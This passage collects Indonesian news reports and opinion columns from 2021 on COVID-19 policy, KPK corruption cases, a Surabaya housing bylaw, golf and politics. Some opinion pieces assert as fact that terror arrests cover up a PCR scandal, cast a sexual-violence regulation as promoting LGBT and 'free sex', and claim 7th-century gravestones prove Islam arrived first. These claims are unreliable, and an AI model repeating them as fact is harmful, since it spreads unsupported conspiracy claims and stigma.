Anies dikesankan sebagai gubernur gagal. Publik seolah bisa digiring dengan nalar koplaknya. Menghantam terus menerus pada tokoh tertentu, itu seperti gerakan yang dikomando. Atau kata lain dari "pesanan", sebuah konsekuensi dari pekerjaan yang dipilihnya. Maka, jangan heran jika karya berjibun yang ditoreh Anies Baswedan, seperti tidak terlihat. Bahkan dicari kesalahan, meski tidak ditemukan, tetap saja digoreng dengan tidak sebenarnya. Maka, jagat pemberitaan pada Anies dibuat atau dihadirkan dengan negatif yang tidak sebenarnya. Anies Baswedan, juga para ulama yang memilih dakwah tidak hanya bisa menyanjung penguasa, tanpa bisa memerankan peran nahi munkar, itu pun jadi sasaran empuk dihajar para buzzer. Habib Rizieq Shihab, Ustadz Abdul Shomad diantaranya, terus dihantam bertubi-tubi sekenanya. Ia dikesankan seolah musuh utama negara. Teranyar adalah Ustadz Dr. Anwar Abbas, Wakil Ketua MUI, yang memang kritis jadi sasaran untuk dikesankan buruk. Bahkan MUI sebagai lembaga berkumpulnya Ormas-ormas Islam pun disasar dengan menyuarakan pembubarannya. Itu karena satu anggota pengurusnya dicokok Densus 88, padahal itu baru dugaan terlibat jaringan teroris. Kerja para buzzer ini sudah terlalu jauh dan amat berbahaya. Mestinya, perannya dihentikan. Sudah pada tahap mengkhawatirkan jika harus diterus-teruskan. Kesabaran umat pun ada batasnya, dan itu mestinya disadari. Para buzzer memang tidak mengenal kata dosa. Karenanya, tidak merasa ada pertanggungjawaban pada Tuhan, tentu dalam pandangan umum, menjadikan sikapnya merasa tidak ada yang perlu ditakutinya. Ditambah lagi, apa saja yang dilakukan itu aman-aman saja. Tidak berlaku UU ITE buatnya. Ia menjadi kebal hukum. Para buzzer memang tampak dimanjakan. Tapi waktu pun terus bergerak, dan pada saatnya akan mampu menghentikan kesewenangan. Gusti Allah ora sare. (*)

Melindungi Warga Sulteng dari Ancaman Gelombang Ketiga COVID-19

Palu, FNN - Gelombang ketiga COVID-19 kini menjadi ancaman tidak nampak yang menghantui seluruh daerah di Indonesia. Dugaan kuat penyebab ancaman gelombang ketiga tersebut yakni mobilitas masyarakat di luar rumah yang kian meningkat seiring penurunan kasus aktif COVID-19 di seluruh daerah namun tanpa disertai disiplin menerapkan protokol kesehatan (Prokes) pencegahan dan penularan COVID-19. Prokes yang kerap diabaikan semua pihak saat ini yaitu menjaga jarak, memakai masker dan mencuci tangan atau membersihkan tangan dengan hand sanitizer. Ahli-ahli kesehatan dan epidemiolog memperkirakan potensi terjadinya gelombang ketiga pandemi COVID-19 di Indonesia pada akhir tahun 2021, dengan rujukan akan adanya libur hari raya Natal dan Tahun Baru 2022. Argumen ancaman gelombang itu didasarkan pada rujukan kasus-kasus lonjakan COVID-19 sebelumnya yang terjadi saat libur panjang, di mana mobilitas masyarakat meningkat sehingga usai liburan, kemudian data-data menunjukkan adanya kenaikan kasus dalam jumlah yang tidak sedikit. Sama halnya yang terjadi saat libur hari raya Idul Fitri di mana mobilitas masyarakat kala itu meningkat pesat tanpa dibarengi disiplin prokes yang ketat sehingga lonjakan kasus COVID-19 tidak dapat terbendung dalam waktu cepat. Provini Sulawesi Tengah menjadi daerah yang berpotensi besar terdampak ancaman gelombang ketiga COVID-19 seiring melandainya kasus COVID-19 di provinsi itu. Mengingat kasus aktif COVID-19 di Sulteng, berdasarkan data Pusat Data dan Informasi (Pusdatin) COVID-19 Provinsi Sulteng, Sabtu (20/11) tersisa 0,13 persen atau hanya 60 kasus aktif yang tersebar di 10 kabupaten dan satu kota di provinsi itu. Setidaknya, sampai saat ini 47.117 orang di seluruh daerah di Sulteng telah terpapar COVID-19. Dari 47.117 orang tersebut, 45.458 orang dinyatakan telah sembuh dan 1.599 orang yang terpapar dinyatakan meninggal dunia. Dengan menurunnya kasus COVID-19 di Sulteng seluruh daerah kini berhasil keluar dari zona orange atau zona dengan risiko sedang terpapar COVID-19. Kebijakan pemerintah daerah melonggarkan kegiatan usaha dan aktivitas masyarakat juga telah dilakukan. Seperti mengizinkan warung kopi dan cafe beroperasi hingga di atas pukul 22.00. Mengizinkan masyarakat berkumpul dan mengadakan kegiatan di tempat-tempat berkumpul masyarakat seperti di taman, hotel maupun aula. Langkah-langkah antisipasi sejak dini untuk melindungi warga Sulteng dari ancaman gelombang ketiga COVID-19 mesti dilakukan semua pihak baik oleh pemerintah daerah maupun seluruh lapisan masyarakat tanpa terkecuali. Sebab jika itu terjadi maka pembatasan-pembatasan sosial mau tidak mau harus kembali diterapkan yang pada akhirnya berdampak pada penurunan perekonomian daerah dan masyarakat. Tidak satu orang pun yang ingin masa-masa sulit itu kembali terulang. Oleh sebab itu selalu menaati prokes mesti konsisten dilakukan jika tidak ingin pemerintah seluruh daerah di Sulteng kembali menerapkan pembatasan-pembatasan sosial dan ekonomi. Pemerintah daerah di Sulteng diminta terus gencarkan vaksinasi COVID-19. Gubernur Sulteng Rusdy Mastura meminta pemerintah daerah kabupaten, kota dan organisasi perangkat daerah terkait terus menggencarkan vaksinasi untuk membentuk kekebalan kelompok atau herd immunity dari COVID-19. "Vaksinasi harus ditingkatkan terus," katanya. Ia mengapresiasi kinerja pemerintah kabupaten dan kota yang bekerja sama dengan TNI dan Polri serta dukungan pihak-pihak terkait lainnya di Sulteng dalam penanganan COVID-19, sehingga kasus aktif COVID-19 di Sulteng menurun drastis. Rusdy Mastura menegaskan meski kasus aktif COVID menurun, bukan berarti bahwa daerah tersebut telah bebas dari ancaman paparan apalagi ancaman gelombang ketiga COVID-19. Karena itu, Rusdy menegaskan vaksinasi yang menyasar seluruh elemen dan komponene masyarakat harus terus digencarkan demi kesehatan dan keselamatan bersama. Selain itu ia menyatakan kedisiplinan terhadap penerapan prokes pencegahan COVID-19 harus tetap ditingkatkan oleh semua pihak. "Dukungan masyarakat yang terus mematuhi protokol kesehatan, sehingga dengan kebersamaan dan kolaborasi yang kuat, hasilnya hari ini dapat dilihat bahwa kasus konfirmasi positif COVID sangat rendah, jumlah pasien yang dirawat di rumah sakit dan isolasi terpadu saat ini hanya berjumlah 81 pasien , isolasi mandiri sebanyak 200 orang," katanya. Berdasarkan data Dinas Kesehatan (Dinkes) Sulteng, hingga 30 Oktober 2021 capaian vaksinasi COVID-19 dosis pertama di Sulteng yaitu 34,4 persen dan dosis kedua 20,1 persen dengan jumlah sasaran vaksinasi sebanyak 2,14 juta orang. Patroli disiplin prokes digencarkan Satuan Polisi Pamong Praja (Satpol PP) Provinsi Sulteng menggencarkan patroli mengenai kedisiplinan masyarakat dalam menerapkan protokol kesehatan guna mencegah penularan COVID-19. "Kami tetap melaksanakan kegiatan rutin yaitu patroli ketertiban umum di pasar, cafe-cafe serta kantor-kantor pemerintahan," kata Kepala Satpol-PP Sulteng Mohamad Nadir. Ia menyebut menurunnya level Pembatasan Pemberlakuan Kegiatan Masyarakat (PPKM) di Sulteng jangan sampai membuat semua pihak lengah dalam menerapkan prokes Untuk itu Satpol PP Provinsi Sulteng secara intens dan konsisten memberikan sosialisasi dan pembinaan kepada masyarakat terkait penerapan prokes COVID-19. Satpol PP, kata Nadir, melakukan kolaborasi bersama TNI dan Polri dalam melakukan partoli kedisiplinan penerapan protokol kesehatan cegah COVID. Ia juga menegaskan agar anggota Satpol PP di seluruh daerah di Sulteng dapat menjadi contoh yang baik di tengah-tengah masyarakat yaitu disiplin dalam menerapkan prokes. "Anggota Satpol PP harus menjadi contoh yang baik, agar masyarakat mau dan disiplin menerapkan prokes. Dengan begitu, antisipasi pencegahan lonjakan kasus COVId-19, akan berjalan maksimal," demikian kata Nadir. (sws)

Pimpinan KPK Ajak Ormas di Papua Turut Aktif Berantas Korupsi

Jakarta, FNN - Wakil KPK, Alexander Marwata, mengajak segenap pimpinan organisasi masyarakat sipil di wilayah Papua untuk turut aktif dalam pemberantasan korupsi. Demikian disampaikannya dalam dialog dengan sekitar 30 aktivis dan pegiat di bidang sumber daya alam, perlindungan masyarakat adat, demokrasi, hak asasi manusia, dan perempuan di Jayapura, Papua, Minggu (21/11). "KPK dalam pelaksanaan tugasnya selalu mengajak seluruh elemen bangsa untuk mari kita bersama-sama perbaiki bangsa dan negara kita. Kita masih terpuruk karena korupsi," ucap dia, dalam keterangan yang diterima di Jakarta, Senin. Saat dialog, ia memaparkan data yang menempatkan Indonesia masih dalam kategori negara korup. IPK tahun 2020, kata dia, dengan skor 37 menempatkan Indonesia pada peringkat 102 dari 180 negara yang disurvei. Padahal, kata dia, Indonesia memiliki potensi yang sangat besar untuk sejahtera dengan kekayaan alam yang melimpah. "Tetapi korupsi masih menjadi "bisul" dalam pengelolaan sumber daya alam maupun pengelolaan keuangan baik keuangan daerah maupun keuangan negara. Kalau bukan kita yang peduli, siapa lagi," kata dia. Oleh karena itu, ia mengajak peserta yang hadir untuk terus melakukan pengawasan terhadap penyelenggaraan pemerintahan di daerahnya. KPK, kata Alex, bukannya tidak mengetahui kebiasaan koruptif yang dilakukan para pejabat di Indonesia, namun KPK juga memiliki sejumlah keterbatasan. "Karenanya, peran serta masyarakat untuk menjadi mata dan telinga KPK sangat penting. Jangan sampai para pejabat negara tersebut merasa tidak ada yang mengawasi maka mari kita bersama-sama lakukan yang terbaik setidaknya di daerah di mana kita tinggal," katanya. Selain itu, dia juga menyampaikan sebagai organisasi masyarakat sesungguhnya memiliki peran yang strategis untuk melakukan pembinaan dan pendampingan kepada masyarakat. Menurut dia, kekayaan alam yang melimpah seharusnya dinikmati yang pertama adalah oleh masyarakat setempat. Namun, ia menyadari kenyataannya adalah ketika masyarakat setempat belum mampu untuk mengelola kekayaan alam terebut maka hanya sebatas potensi yang tidak menghasilkan apapun. Oleh karena itu, ia menyarankan untuk mengambil peran dalam meningkatkan literasi, pemahaman, dan pemberdayaan masyarakat agar dapat menjadi bagian yang berperan aktif dalam pembangunan di daerah. Ia mencontohkan bagaimana biaya ganti rugi yang diterima masyarakat hanya berakhir menjadi konsumsi yang konsumtif dan habis dalam waktu singkat. Namun, jika diberikan pemahaman, dana tersebut bisa dimanfaatkan untuk hal-hal yang lebih produktif yang dapat menopang kesejahteraan masyarakat. "Kalau tidak diberdayakan maka masyarakat setempat hanya menjadi penonton. Ketika alamnya dieksploitasi, masyarakat hanya akan menderita banjir," ujar dia. Terkait hal tersebut, dia menilai pentingnya pendidikan bagi masyarakat karena akan meningkatkan kualitas kehidupan masyarakat. Mengutip pernyataan Nelson Mandela, kata dia, pendidikan adalah senjata yang paling ampuh untuk mengubah dunia. Atas dasar tersebut, dia mengatakan KPK memandang strategi pendidikan sama pentingnya dengan dua pendekatan lainnya, yaitu pencegahan dan penindakan sebagai strategi pemberantasan korupsi yang harus dilakukan secara terintegrasi. Hadir dalam dialog tersebut pimpinan organisasi kemasyarakatan Yayasan Instia (Kayu Besi), Yayasan KIPRA, WWF, Yayasan Lingkungan Hidup, FOKER Papua, Aliansi Demokrasi untuk Papua, Yayasan Anak Dusun Papua, Papuan Voices, Swara Papua, KPKC GKI di Tanah Papua, Walhi Papua, PPMA, JERAT, dan Budget Resource Center Papua dan Papua Barat. Kegiatan tersebut menjadi rangkaian kegiatan rapat koordinasi dan supervisi pemberantasan korupsi terintegrasi yang dilakukan KPK di Papua pada Minggu (21/11) sampai dengan Jumat (26/11). (sws)

Raperda Pengelolaan Rusun Komersial Surabaya Atur Pembekuan P3SRS

Surabaya, FNN - Raperda Pengelolaan Rumah Susun Komersial yang kini masuk pembahasan akhir di DPRD Kota Surabaya, salah satunya mengatur pembekuan Perhimpunan Pemilik dan Penghuni Satuan Rumah Susun (P3SRS). "Raperda sudah hampir rampung. Kami optimistis di Minggu ini pembahasan raperda tersebut selesai," kata Ketua Badan Pembentukan Perda (Bapemperda) DPRD Kota Surabaya Josiah Michael di Surabaya, Senin. Menurut dia, banyak poin-poin penting yang ada dalam rumusan Raperda Pengelolaan Rumah Susun Komersial tersebut di antaranya, P3SRS yang murni dari warga dan dalam pengelolaan wajib terbuka, transparan dan dilaporkan secara rutin setiap bulannya kepada seluruh penghuni serta ditempelkan di tempat umum bersama. Ia menjelaskan bahwa dalam raperda tersebut juga ada sanksi bagi P3RS yang nakal berupa pembekuan P3SRS dan dibentuk ulang di bawah pengawasan dinas terkait. Sedangkan terkait batasan kewenangan pengembang (developer) maupun pengelola apartemen, lanjut dia, pemilihan pengurus P3SRS berdasarkan satu orang satu suara (one man one vote). Adapun yang menjadi dasar adalah KTP bagi warga yang bertempat tinggal di sana untuk unit tempat tinggal dan izin usaha untuk unit usaha. Sementara mengenai listrik dan air dikelola langsung oleh PLN dan PDAM. Sedangkan PBB tidak boleh dibebankan kepada pembeli apartemen atau unit usaha sebelum dilakukan serah terima Sertifikat Hak Milik atas Satuan Rumah Susun atau SHMSRS. "Ini untuk melindungi masyarakat dari pengembang yang nakal, di mana mengulur pertelaan dan pemecahan sertifikat supaya masih bisa diagunkan dan dicatat sebagai aset developer. Intinya masyarakat tidak boleh dirugikan," ujarnya. Ia berharap raperda bisa melindungi masyarakat dari kecurangan-kecurangan yang kerap dilakukan oleh pengembang nakal. "Dalam raperda itu akan diatur juga bahwa P3SRS akan di bawah pengawasan dan pembinaan Dinas Cipta Karya Surabaya, sehingga tidak seperti sekarang yang terlunta-lunta tanpa kejelasan," katanya. (sws)

Kuliner Laut Indonesia Dipamerkan di Expo 2020 Dubai

Jakarta, FNN - Kementerian Kelautan dan Perikanan memamerkan produk hasil laut dari usaha mikro kecil dan menengah Indonesia di gelaran Expo 2020 Dubai, Uni Emirat Arab. "Kami mengundang masyarakat dunia untuk menjelajah kekayaan cita rasa 17 ribu pulau yang ada di Indonesia melalui produk seafood kami," kata Direktur Jenderal Penguatan Daya Saing Produk Kelautan dan Perikanan, Artati Widiarti, dalam keterangan pers, Senin. Kementerian Kelautan dan Perikanan mengadakan pameran di Paviliun Indonesia untuk 19 hingga 25 November. Pada pameran kali ini, kementerian tersebut membawa produk UMKM yang mengikuti program #pasarlautindonesia buatan mereka. Produk UMKM #pasarlautindonesia yang dipamerakan di ajang internasional ini antara lain abon ikan patin, olahan kulit ikan, abon ikan bandeng, keripik Baby Fish Crispy dan garam untuk kecantikan. Selain itu, terdapat juga garam kumur, herbal detoks untuk mandi, sus kering abon, keripik duri lele, sumpia, ikan kayu aceh dan ikan kuaci. Selain produk makanan, pameran tersebut juga berisi produk kosmetik berbasis rumput laut dan kerajinan kerang dari UMKM Indonesia. Menurut Artati, pameran produk laut ini bertujuan meningkatkan citra positif produk kelautan dan perikanan Indonesia khususnya untuk pasar Timur Tengah dan Afrika. Kementerian Kelautan dan Perikanan juga menayangkan video promosi hasil laut Indonesia di Paviliun Indonesia, antara lain video tentang ikan tuna, udang dan lobster. Expo 2020 Dubai merupakan pameran berskala dunia yang menampilkan perkembangan dan kemajuan di bidang indsutri, teknologi, budaya dan lingkungan hidup. Acara ini berlangsung selama enam bulan, mulai 1 Oktober hingga 31 Maret 2022, diikuti oleh 192 negara peserta dari seluruh dunia. Paviliun Indonesia secara bergantian memamerkan produk-produk UMKM lokal dan mengadakan acara budaya dari berbagai derah di Indonesia. (mth)

KPK Amankan Uang dan Dokumen Saat Geledah Rumah Sekda HSU

Jakarta, 22/11 (ANTARA) - Komisi Pemberantasan Korupsi (KPK) mengamankan uang, dokumen, dan alat elektronik dari penggeledahan di rumah Sekretaris Daerah (Sekda) Kabupaten Hulu Sungai Utara (HSU) Muhammad Taufik pada Jumat (19/11). Penggeledahan dilakukan dalam penyidikan kasus dugaan suap terkait pengadaan barang dan jasa di Kabupaten Hulu Sungai Utara, Kalimantan Selatan, Tahun 2021-2022 untuk tersangka Bupati Hulu Sungai Utara Abdul Wahid (AW). "Tim penyidik pada Jumat (19/11) telah selesai melaksanakan upaya paksa penggeledahan di wilayah Kabupaten Hulu Sungai Utara, yaitu tempat kediaman Sekda Kabupaten Hulu Sungai Utara di Kelurahan Paliwara, Kecamatan Amuntai Tengah, Kabupaten Hulu Sungai Utara," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Senin. Dari lokasi tersebut, kata Ali, ditemukan dan diamankan bukti berupa sejumlah uang, berbagai dokumen, dan alat elektronik yang diduga kuat terkait dengan kasus. "Analisa lanjutan akan dilakukan oleh tim penyidik dan nantinya segera dilakukan penyitaan untuk melengkapi berkas perkara tersangka AW," ucap Ali. KPK pada Kamis (18/11) telah mengumumkan Abdul Wahid sebagai tersangka kasus dugaan suap dan gratifikasi. Penetapan Abdul Wahid sebagai tersangka merupakan pengembangan dari kasus yang menjerat Maliki (MK) selaku Plt Kepala Dinas Pekerjaan Umum, Penataan Ruang, dan Pertanahan (PUPRP) Hulu Sungai Utara, Marhaini (MRH) dari pihak swasta/Direktur CV Hanamas, dan Fachriadi (FH) dari pihak swasta/Direktur CV Kalpataru. Dalam konstruksi perkara, KPK menjelaskan tersangka Abdul Wahid selaku Bupati Hulu Sungai Utara untuk dua periode (2012-2017 dan 2017-2022) pada awal 2019 menunjuk Maliki sebagai Plt Kepala Dinas PUPRP Kabupaten Hulu Sungai Utara. Diduga ada penyerahan sejumlah uang oleh Maliki untuk menduduki jabatan tersebut karena sebelumnya telah ada permintaan oleh tersangka Abdul Wahid. Penerimaan uang oleh tersangka Abdul Wahid dilakukan di rumah Maliki pada Desember 2018 yang diserahkan langsung oleh Maliki melalui ajudan tersangka Abdul Wahid. Pada sekitar awal 2021, Maliki menemui tersangka Abdul Wahid di rumah dinas jabatan bupati untuk melaporkan terkait "plotting" paket pekerjaan lelang pada bidang Sumber Daya Air Dinas PUPRP Hulu Sungai Utara Tahun 2021. Dalam dokumen laporan paket "plotting" pekerjaan tersebut, Maliki telah menyusun sedemikian rupa dan menyebutkan nama-nama dari para kontraktor yang akan dimenangkan dan mengerjakan berbagai proyek tersebut. Selanjutnya, tersangka Abdul Wahid menyetujui paket "plotting" tersebut dengan syarat adanya pemberian komitmen "fee" dari nilai proyek dengan persentase pembagian "fee", yaitu 10 persen untuk tersangka Abdul Wahid dan 5 persen untuk Maliki. Adapun, pemberian komitmen "fee" yang diduga diterima oleh tersangka Abdul Wahid melalui Maliki, yaitu dari Marhaini dan Fachriadi dengan jumlah sekitar Rp500 juta. Selain melalui perantaraan Maliki, tersangka Abdul Wahid juga diduga menerima komitmen "fee" dari beberapa proyek lainnya melalui perantaraan beberapa pihak di Dinas PUPRP Kabupaten Hulu Sungai Utara, yaitu pada 2019 sekitar Rp4,6 miliar, pada 2020 sekitar Rp12 miliar, dan pada 2021 sekitar Rp1,8 miliar. Atas perbuatannya, Abdul Wahid disangkakan melanggar Pasal 12 huruf a atau Pasal 12 huruf b atau Pasal 11 dan Pasal 12 B Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 Jo. Pasal 55 ayat (1) ke-1 KUHP Jo. Pasal 64 KUHP jo Pasal 65 KUHP. (mth)

Ko Jin-Young Juarai LPGA Tour, Pegolf Terbaik Tahun Ini

Jakarta, FNN - Pegolf Korea Selatan Ko Jin-Young melepaskan sembilan birdie dalam sembilan di bawah par 63 yang sensasional pada Minggu waktu setempat untuk menjuarai LPGA Tour Championship yang sekaligus menyisihkan Nelly Korda sebagai Pegolf Terbaik Tahun Ini. Kemenangan kedua berturut-turut Ko dalam turnamen akhir musim itu adalah gelar LPGA kelimanya tahun ini. Hadiah sebesar 1,5 juta dolar AS dalam turnamen ini membuat dia sudah berpendapatan melewati angka 9 juta dolar AS yang merupakan tertinggi selama karinya. "Saya tak tahu apa yang terjadi di luar sana," kata Ko yang sempat berjuang melawan cedera pergelangan tangan kiri yang membatasi dirinya berlatih hampir sepanjang musim. "Pekan ini ini luar biasa," sambung dia seperti dikutip AFP. Ko dan Korda bergantian menjadi pegolf nomor satu dunia sepanjang musim ini, tetapi adalah Korda yang masuk arena turnamen yang digelar di Tiburon Golf Club di Naples, Florida, ini yang yang berbekal peringkat teratas. Mereka hanya terpaut tipis dalam poin menjadi Pegolf Terbaik Tahun Ini. Kedua pegolf bertarung sengit sehingga bersama dua pegolf lainnya menduduki puncak klasemen turnamen setelah melewati 54 lubang. Namun akhirnya Korda tak cukup kuat menghalangi Ko untuk memperoleh penghargaan akhir tahun tersebut. Pegolf Jepang Nasa Hataoka yang juga sempat berbagi keunggulan di puncak klasemen, memukulkan delapan di bawah par 64 untuk finis urutan kedua dengan 266. Itu empat pukulan di atas Mina Harigae dan Celine Boutier pada 270, sedangkan Korda mencatat 271. Ko membuka lomba dengan tiga birdie dalam empat lubang pertamanya, dan melepaskan pukulan birdie putt panjang pada lubang pertama. Dia melepaskan pukulan dari jarak 30 kaki untuk mencetak birdie keenamnya hari ini dalam lubang kesembilan sehingga memimpin dalam selisih empat pukulan. Hataoka mengiris keunggulan Ko dengan membuat birdie pada lubang ketujuh, kesembilan, ke-10 dan ke-11. Namun Ko memasukkan birdie putt panjang lainnya pada lubang ke-11 dan membuat birdie pada lubang ke-13 untuk unggul tiga pukulan. Hataoka tak mau menyerah untuk terus menekan, dengan mencetak birdie pada lubang ke-15, 17 dan 18, namun birdie terakhir Ko pada lubang ke-17 sudah cukup untuk memastikan gelar juara turnamen ini. Ko yang masih berusia 26 tahun kini sudah 12 kali menjuarai LPGA, dan gelar terakhirnya pada LPGA tahun ini sangat mengesankan. (mth)

Pemerintah Diminta Pertimbangkan Kembali Rencana Buka Pintu Tanpa Karantina Buat Warga Asing

Jakarta, FNN - Pemerintah berencana membuka pintu tanpa karantina bagi warga asing lewat program vaccinated travel lane (VTL). Terhadap rencana ini Relawan Kesehatan (Rekan) Indonesia meminta pemerintah untuk mempertimbangkan kembali, di tengah situasi pandemi yang belum usai dan masih harus menghadapi sub varian baru dari virus corona. Melalui siaran pers yang diterima redaksi FNN.co.id, Agung Nugroho, Ketua Nasional Rekan Indonesia meminta pemerintah membatalkan rencana membebaskan warga negara asing (WNA) masuk Indonesia tanpa karantina tersebut. Agung mengatakan, meski ada syaratnya seperti menunjukkan hasil negatif melalui tes RT-PCR di negara asal yang sampelnya diambil dalam kurun waktu maksimal 3 x 24 jam sebelum jam keberangkatan. Serta Saat kedatangan, dilakukan tes ulang RT-PCR bagi pelaku perjalanan internasional dan diwajibkan menjalani karantina terpusat selama 5 x 24 jam. "Namun tetap beresiko untuk kita akan terjadi penularan covid 19, apalagi kita berhadapan dengan sub varian baru" ujar Agung. Apalagi kata Agung, capaian Indonesia terhadap warga yang sudah tervaksinasi masih kurang dari 50%, sehingga akan berisiko besar jika rencana WNA masuk ke Indonesia tanpa karantina ini dijalankan. "Nantilah kalau capaian vaksinasi di Indonesia sudah mencapai 90% baru bisa bebas, itu pun dengan syarat yang ketat mengingat virus corona belum punah" kata Agung. Belum lagi menurut Agung, penegakan syarat dan aturan di Indonesia masih rawan karena adanya oknum petugas yang masih bisa berlaku abai dengan diberi sedikit uang. "Jadi meski dibuat aturan seketat apapun dengan perilaku oknum petugas mudah disogok akan menambah besar resiko kita menghadapi rantai penularan" ungkap Agung. Agung berharap pemerintah bisa mewujudkan tidak terjadinya ledakan gelombang ketiga penularan covid 19 dengan bersabar dan berhati-hati dalam menerapkan kebijakan. "Jangan sampai hanya demi kepentingan geliat ekonomi, lalu kita lengah dan mengorbankan kepentingan kesehatan" ingat Agung. (sws)

RG: Obrak-Abrik MUI Hanya untuk Menutupi Kasus PCR dan Sejenisnya

Jakarta, FNN - Pengamat politik Rocky Gerung menilai penangkapan anggota Komisi Fatwa Majelis Ulama Indonesia (MUI) Ahmad Zain An-Najah dan beberapa pemuka agama oleh Densus 88 hanya akal-akalan pemerintah. Menurut Rocky, penangkapan para ulama dengan tuduhan terorisme itu bertujuan untuk menutupi berbagai kasus besar yang sekarang ini tengah menjadi sorotan di Tanah Air, termasuk kasus bisnis alat tes PCR yang menyeret Menteri Koordinator Bidang Kemaritiman Luhut Binsar Pandjaitan dan Menteri BUMN Erick Thohir. "Jadi, pemerintah betul-betul main cuma di dua bidang itu saja, atau dia menutupi korupsi atau dia justru dalam upaya menutupi korupsi dan termasuk PCR ini disodorkan isu baru soal radikalisme," kata Rocky Gerung di kanal Youtubenya, Jumat (19/11/2021). Menurut pengamatannya, kata Rocky Gerung, Islam kerap menjadi sasaran empuk pemerintah sebagai bahan pengalihan Isu. Korbannya adalah tokoh-tokoh yang dianggap sama seperti eks Imam Besar Front Pembela Islam (FPI) Rizieq Shihab. "Jadi Islam selalu akan disodorkan ketika enggak ada isu. Maka disodorkanlah isu Islam. Dan korbannya pasti adalah mereka yang dianggap senafas dengan Habib Rizieq," tuturnya. Lebih lanjut, Rocky menuturkan bahwa dengan adanya penangkapan ulama dan anggota Komisi Fatwa MUI seakan ingin memperlihatkan pada publik bahwa ada yang sedang membahayakan negara. Dia juga menyebut, pemerintah memukul rata faksi-faksi Islam untuk mengelabui opini publik. "Padahal sebetulnya, faksi-faksi di dalam Islam itukan beragam sekali. Pemerintah pukul rata saja untuk mengelabui opini publik, bahwa ada kegiatan yang membahayakan negara," tuturnya. Rocky berpendapat, yang membahayakan negara adalah utang hingga deforestrasi. "Yang membahayakan negara adalah utang, deforestrasi. Yang membahayakan negara itu adalah pelanggaran moral di dalam kabinet," pungkasnya. Sebagaimana diketahui, Densus 88 menangkap anggota Komisi Fatwa Majelis Ulama Indonesia (MUI), Ahmad Zain An-Najah. Dirinya ditangkap bersamaan dengan Ketua Umum Partai Dakwah Rakyat Indonesia (PDRI) Ustaz Ahmad Farid Okbah. (sws, we)

Waspadai dan Sikapi Permendikbud No. 30/2021

Oleh Sugeng Waras Jika kita sudah sepakati Pancasila sebagai jalan tengah, terbaik dan pandangan hidup bangsa Indonesia dari pada paham Liberalis, Kapitalis dan NeoKolonialis, maka Mendikbud Nadiem harus mengubah atau mencabut Permendikbud no 30 / 2021 tentang pencegahan dan penanganan terhadap kekerasan seksual. Kalau tidak, sama halnya memaksakan hukum Syariat Islam akan turut turun tangan untuk ambil solusi! Ini penting dan signifikan bagi bangsa Indonesia agar tak terabaikan perhatian kita terhadap kaum lemah, terisolasi, terdiskriminasi umumnya dan LGBT, homo seksual khususnya. Meskipun judul / thema permen tersebut bisa dipahami, namun ada beberapa pasal / tuangan isi pasal yang bisa ditafsirkan dan cenderung meragukan hasilnya untuk mencegah dan menangani kasus kasus kekerasan seksual, sebaliknya justru lebih pasti bisa / akan menyuburkan kebebasan seksual. Inj bahayanya. Kita tidak bisa selalu menerima dan mengadopsi atau mencampur adukkan hukum di negara kita dengan hukum Internasional seperti CEDAW (Convention of the Ellimination of all Forms of Descrimination Against Women ), Hukum Internasional yang khusus mengatur wanita. Inti permasalahanya pada frasa dan Consent / Persetujuan, yang harus dihadapkan pada hukum, agama dan negara. Frasa yang merupakan gabungan dua kata atau lebih yang bermakna, bisa ditinjau antara lain dari literatur, struktur maupun preposisionalnya. Frasa tanpa prediktif, namun tetap menyentuh atau mengisi Sintaksis (subyek, obyek keterangan dan pelengkap), tidak bisa dipindah atau dipisahkan dalam kalimat, karena bisa mengubah makna kalimat tersebut. Contoh frasa nominal (benda ) jam tangan, frasa verbal (kerja), pergi ke pasar, frasa ajektif (sifat) sangat, harus, paling, frasa numberela (bilangan) dua ekor anjing, bisa mengubah dan menambah makna kalimat. Tudingan terhadap pengkritik dan penentang Permen ini, harus menjadi kajian dan pertimbangan Kemendikbud, tak terkecuali Mendag Yaqut yang telah ikut menyetujui, karena ada kesalahan paham dan tafsir terkait Logika dan Potensi Bahaya terkait pandangan melegalkan dan melindungi LGBT dan Sex Bebas yang dikaitkan dengan diskriminasi dan ujaran kebencian (kita berharap pihak penegak hukum dalam hal ini kepolisian tidak terpancing dan terpengaruh yang memicu tindakan hukum secara gopoh, yang bisa membuat kekacauan dan gaduh). Tak ketinggalan, dugaan terhadap Satgas pencegahan dan penanganan terhadap kekerasan seksual yang dinilai hanya diisi oleh kaum Feminis dan Liberalis sebagai penafsir tunggal yang mengabaikan kaidah kaidah hukum, agama (Islam) dan negara. Yang jelas fakta telah membuktikan, Consent /persetujuan dalam arti sempit seperti yang dipraktekkan LGBT, sex bebas dan lain yang serupa akan merasa memperoleh peluang pembenaran yang berpotensi mengakibatkan kerusakan moral dan mental bangsa terlebih para milenial harapan bangsa, penyakit menular HIP / AIDS, kehamilan yang tidak diinginkan, aborsi, perceraian kerusakan dan kehancuran rumah tangga. Oleh karena sebaiknya para menteri harus berpikir dua atau banyak kali agar tidak gegabah dan memaksakan kehendak untuk memberlakukan permen yang bisa memicu keresahan dan kemarahan rakyat, untuk menciptakan situasi dan kondisi NKRI yang kondusif. *) Purnawirawan TNI AD

BELITUNG Akses Islam

Oleh Ridwan Saidi BANGKA dan Belitung kalau di Kepulauan Seribu padanannya Pulau Papateo dan Pulau Dolpin. Ini pulau-pulau yang berpasangan dan saling melindungi. Belitung adik dari Bangka, Dolpin adik Papateo. Tentang kedua pulau terakhir nanti akan muncul di CABE. Rekan muda di Belitung seorang peminat sejarah. Ia bekerja mencari artefak tak kunjung lelah. Baru saja ia temukan makam dengan dua nisan berhadapan. Ini makam terletak di ketinggian tanah Padang Sapu-sapu, Belitung Utara. Ornamen nisan sangat menarik (lihat foto). Kalimat syahadat dalam hija'iyah berada dalam circle bulat sampurna 360 derajat. Merujuk teks, ini nisan dari abad VII M akhir, setelah tahun 651 M. Time line perubahan script dari Nabatiah ke Hijaiyah. Temuan Saudara Iwan dari Belitung menambah bukti bahwa Islam agama yang pertama masuk Andunisi dengan bukti penyebaran merata: 1. Nisan Belitung 2. Prasasti Kebon Raja, Bogor 3. Prasasti Tuk Mas, Jawa Tengah 4. Nisan Troloyo, Jawa Timur 5. Nisan Banggai, Sulawesi. Semua abad VII M, klaim agama ini itu yang duluan.masuk Andunisi harus dengan pembuktian archaic yang touchable. Bukan dengan bacot. Dongeng telah jadi tren di 